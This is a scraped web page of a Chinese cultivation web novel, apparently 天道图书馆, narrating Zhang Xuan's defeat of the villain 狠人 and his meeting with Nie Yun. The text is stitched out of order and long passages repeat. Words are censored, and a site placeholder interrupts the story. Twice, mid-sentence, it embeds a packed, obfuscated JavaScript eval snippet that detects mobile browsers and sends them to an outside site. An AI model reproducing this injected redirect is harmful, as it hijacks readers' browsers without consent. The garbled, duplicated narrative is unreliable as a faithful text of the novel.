连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176399|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第190章掉包了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 